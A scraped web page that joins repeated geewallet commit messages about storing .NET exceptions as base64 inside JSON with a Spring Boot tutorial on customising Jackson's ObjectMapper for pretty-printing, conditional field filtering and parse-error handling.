to go for the simplest solution that I can write myself. I hate JSON type
converters anyway.)

[1] JamesNK/Newtonsoft.Json#801
[2] dotnet/runtime#43026
[3] https://stackoverflow.com/a/13674508/544947

knocte

added a commit
to nblockchain/geewallet
that referenced
this issue

Dec 20, 2020

@knocte

JSON deserialization of exceptions is extremely broken in JSON.NET [1]
(and even in System.Text.Json [2]), so let's use a hybrid between binary
serialization and JSON serialization: it will have a JSON part that hints
about the most important human-readable details, but it will use a JSON
element to marshall in binary-to-default-encoding-based-string format.

(I could have written a JsonConverter for this, but I was having trouble
finding one out there that someone else had written already, then I decided
to go for the simplest solution that I can write myself. I hate JSON type
converters anyway.)

[1] JamesNK/Newtonsoft.Json#801
[2] dotnet/runtime#43026
[3] https://stackoverflow.com/a/13674508/544947

knocte

added a commit
to nblockchain/geewallet
that referenced
this issue

Dec 21, 2020

@knocte

JSON deserialization of exceptions is extremely broken in JSON.NET [1]
(and even in System.Text.Json [2]), so let's use a hybrid between binary
serialization and JSON serialization: it will have a JSON part that hints
about the most important human-readable details, but it will use a JSON
element to marshall in binary-to-default-encoding-based-string format.

(I could have written a JsonConverter for this, but I was having trouble
finding one out there that someone else had written already, then I decided
to go for the simplest solution that I can write myself. I hate JSON type
converters anyway.)

[1] JamesNK/Newtonsoft.Json#801
[2] dotnet/runtime#43026
[3] https://stackoverflow.com/a/13674508/544947

knocte

added a commit
to nblockchain/geewallet
that referenced
this issue

Jan 4, 2021

@knocte

JSON deserialization of exceptions is extremely broken in JSON.NET [1]
(and even in System.Text.Json [2]), so let's use a hybrid between binary
serialization and JSON serialization: it will have a JSON part that hints
about the most important human-readable details, but it will use a JSON
element to marshall in binary-to-base64string format.

(I could have written a JsonConverter for this, but I was having trouble
finding one out there that someone else had written already, then I decided
to go for the simplest solution that I can write myself. I hate JSON type
converters anyway.)

[1] JamesNK/Newtonsoft.Json#801
[2] dotnet/runtime#43026
[3] https://stackoverflow.com/a/13674508/544947

knocte

added a commit
to nblockchain/geewallet
that referenced
this issue

Jan 4, 2021

@knocte

JSON deserialization of exceptions is extremely broken in JSON.NET [1]
(and even in System.Text.Json [2]), so let's use a hybrid between binary
serialization and JSON serialization: it will have a JSON part that hints
about the most important human-readable details, but it will use a JSON
element to marshall in binary-to-base64string format (I decided to use
base64string after having many issues, e.g. [3], with UTF8 and other
encodings).

(I could have written a JsonConverter for this, but I was having trouble
finding one out there that someone else had written already, then I decided
to go for the simplest solution that I can write myself. I hate JSON type
converters anyway.)

[1] JamesNK/Newtonsoft.Json#801
[2] dotnet/runtime#43026
[3] https://stackoverflow.com/a/13674508/544947

simon-wacker

added a commit
to building-envelope-data/metabase
that referenced
this issue

Jul 13, 2021

@simon-wacker

@msftbot
msftbot
bot

locked as resolved and limited conversation to collaborators

Nov 22, 2021

Mosaic pattern

Photo by Annie Spratt

Spring Boot projects primarily use the JSON library Jackson to serialize and deserialize objects. It is especially useful that Jackson automatically serializes objects returned from REST APIs and deserializes complex type parameters like @RequestBody.

In a Spring Boot project the automatically registered MappingJackson2HttpMessageConverter is usually enough and makes JSON conversions simple, but this may have some issues which need custom configuration. Let’s go over a few good practices for them.

Configuring a Custom Jackson ObjectMapper

In Spring REST projects a custom implementation of MappingJackson2HttpMessageConverter helps to create the custom ObjectMapper, as seen below. Whatever custom implementation you need to add to the custom ObjectMapper can be handled by this custom converter:

public class CustomHttpMessageConverter extends MappingJackson2HttpMessageConverter {

    private ObjectMapper initCustomObjectMapper() {
        ObjectMapper customObjectMapper = new ObjectMapper();
        return customObjectMapper;
    }

    // ...
}

Additionally, some MappingJackson2HttpMessageConverter methods, such as writeInternal, can be useful to override in certain cases. I’ll give a few examples in this article.

In Spring Boot you also need to register a custom MappingJackson2HttpMessageConverter like below:

@Bean
MappingJackson2HttpMessageConverter mappingJackson2HttpMessageConverter() {
    return new CustomHttpMessageConverter();
}

Serialization

Pretty-printing

Pretty-printing in Jackson is disabled by default. By enabling SerializationFeature.INDENT_OUTPUT in the ObjectMapper configuration pretty-print output is enabled (as in the example below). Normally a custom ObjectMapper is not necessary for setting the pretty-print configuration. In some cases, however, like one case of mine in a recent customer project, this configuration might be necessary.

For example, passing a URL parameter can enable pretty-printing. In this case having a custom ObjectMapper with pretty-print enabled and keeping the default ObjectMapper of MappingJackson2HttpMessageConverter as is could be a better option.

public class CustomHttpMessageConverter extends MappingJackson2HttpMessageConverter {

    private ObjectMapper initiatePrettyObjectMapper() {
        ObjectMapper customObjectMapper = new ObjectMapper();
        customObjectMapper.configure(SerializationFeature.INDENT_OUTPUT, true);

        // additional indentation for arrays
        DefaultPrettyPrinter pp = new DefaultPrettyPrinter();
        pp.indentArraysWith(new DefaultIndenter());
        customObjectMapper.setDefaultPrettyPrinter(pp);

        return customObjectMapper;
    }

}

Conditionally Filtering the Fields

When serializing a response object you may need to include or ignore one or more fields depending on their values. Let’s assume a model class UserResponse like below.

Notice that we used @JsonIgnore which is completely discarding the annotated field from serialization. Conditional filtering is different and it can be done using SimpleBeanPropertyFilter objects set to the filter provider of the ObjectMapper objects. Also notice that @JsonFilter annotation is used for UserResponse which points to which filter will be used by ObjectMapper during the serialization.

@JsonFilter("userCodeFilter")
public class UserResponse {

    public Integer userId;
    public String username;
    public Integer code;

    @JsonIgnore
    public String status;

}

Here we add a filter called userCodeFilter—like the one we added to the custom ObjectMapper of CustomHttpMessageConverter—which will include the UserResponse class’s code field in the serialization if its value is greater than 0. You can add multiple filters to ObjectMapper for different models.

public class CustomHttpMessageConverter extends MappingJackson2HttpMessageConverter {

    private ObjectMapper initiatePrettyObjectMapper() {
        ObjectMapper customObjectMapper = new ObjectMapper();
        customObjectMapper.configure(SerializationFeature.INDENT_OUTPUT, true);

        // additional indentation for arrays
        DefaultPrettyPrinter pp = new DefaultPrettyPrinter();
        pp.indentArraysWith(new DefaultIndenter());
        customObjectMapper.setDefaultPrettyPrinter(pp);

        PropertyFilter userCodeFilter = new SimpleBeanPropertyFilter() {
            @Override
            public void serializeAsField(Object pojo, JsonGenerator jgen, SerializerProvider provider, PropertyWriter writer)
                    throws Exception {
                if (include(writer)) {
                    if (!writer.getName().equals("code")) {
                        writer.serializeAsField(pojo, jgen, provider);
                        return;
                    }
                    int intValue = ((UserResponse) pojo).code;
                    if (intValue > 0) {
                        writer.serializeAsField(pojo, jgen, provider);
                    }
                } else if (!jgen.canOmitFields()) {
                    writer.serializeAsOmittedField(pojo, jgen, provider);
                }
            }

            @Override
            protected boolean include(BeanPropertyWriter writer) {
                return true;
            }

            @Override
            protected boolean include(PropertyWriter writer) {
                return true;
            }
        };

        FilterProvider filters = new SimpleFilterProvider().addFilter("userCodeFilter", userCodeFilter);
        customObjectMapper.setFilterProvider(filters);

        return customObjectMapper;
    }

}

Deserialization

JSON String Parse Error Handling in Spring Boot

This one is a little tricky. Deserialization of a JSON @RequestParam object can cause parsing errors if the JSON object is not well-formed. The errors thrown in Jackson’s deserialization level just before it’s pushed to Spring Boot occur at that level, so Spring Boot doesn’t catch these errors.

Deserialization of Jackson maps JSON to POJOs and finally returns the expected Java class object. If the JSON is not well-formed, parsing cannot be done and MappingJackson2HttpMessageConverter internally throws a parsing error. Since this exception is not caught by Spring Boot and no object is returned, the REST controller would be unresponsive, having a badly-formed JSON payload.

Here we can override the internal read method of MappingJackson2HttpMessageConverter, hack the ReadJavaType with a customReadJavaType method, and make it return an internal error when the deserialization fails to parse the JSON input, rather than throwing an exception which is not seen or handled by Spring Boot.

@Override
public Object read(Type type, @Nullable Class<?> contextClass, HttpInputMessage inputMessage)
        throws IOException, HttpMessageNotReadableException {

    objectMapper.enable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);

    JavaType javaType = getJavaType(type, contextClass);
    return customReadJavaType(javaType, inputMessage);
}

private Object customReadJavaType(JavaType javaType, HttpInputMessage inputMessage) throws IOException {
    try {
        if (inputMessage instanceof MappingJacksonInputMessage) {
            Class<?> deserializationView = ((MappingJacksonInputMessage) inputMessage).getDeserializationView();
            if (deserializationView != null) {
                return this.objectMapper.readerWithView(deserializationView).forType(javaType).
                        readValue(inputMessage.getBody());
            }
        }
        return this.objectMapper.readValue(inputMessage.getBody(), javaType);
    }
    catch (InvalidDefinitionException ex) {
        //throw new HttpMessageConversionException("Type definition error: " + ex.getType(), ex);
        return "Type definition error";
    }
    catch (JsonProcessingException ex) {
        //throw new HttpMessageNotReadableException("JSON parse error: " + ex.getOriginalMessage(), ex, inputMessage);
        return "JSON parse error";
    }
}

This way you can return errors occurring at the deserialization level to Spring Boot, which expects a deserialized object but gets a String value which can be caught and translated into a ControllerAdvice handled exception. This also makes it easier to catch JSON parsing errors without using any third party JSON libraries like Gson.

json

rest

java

frameworks

spring


Понравилась статья? Поделить с друзьями:

Читайте также:

  • Ошибка сериал мексика
  • Ошибка сервотроника е65
  • Ошибка сервопривода на лазерном станке
  • Ошибка сервопривода c90
  • Ошибка сервисы google play остановлено как исправить

  • 0 0 голоса
    Рейтинг статьи
    Подписаться
    Уведомить о
    guest

    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии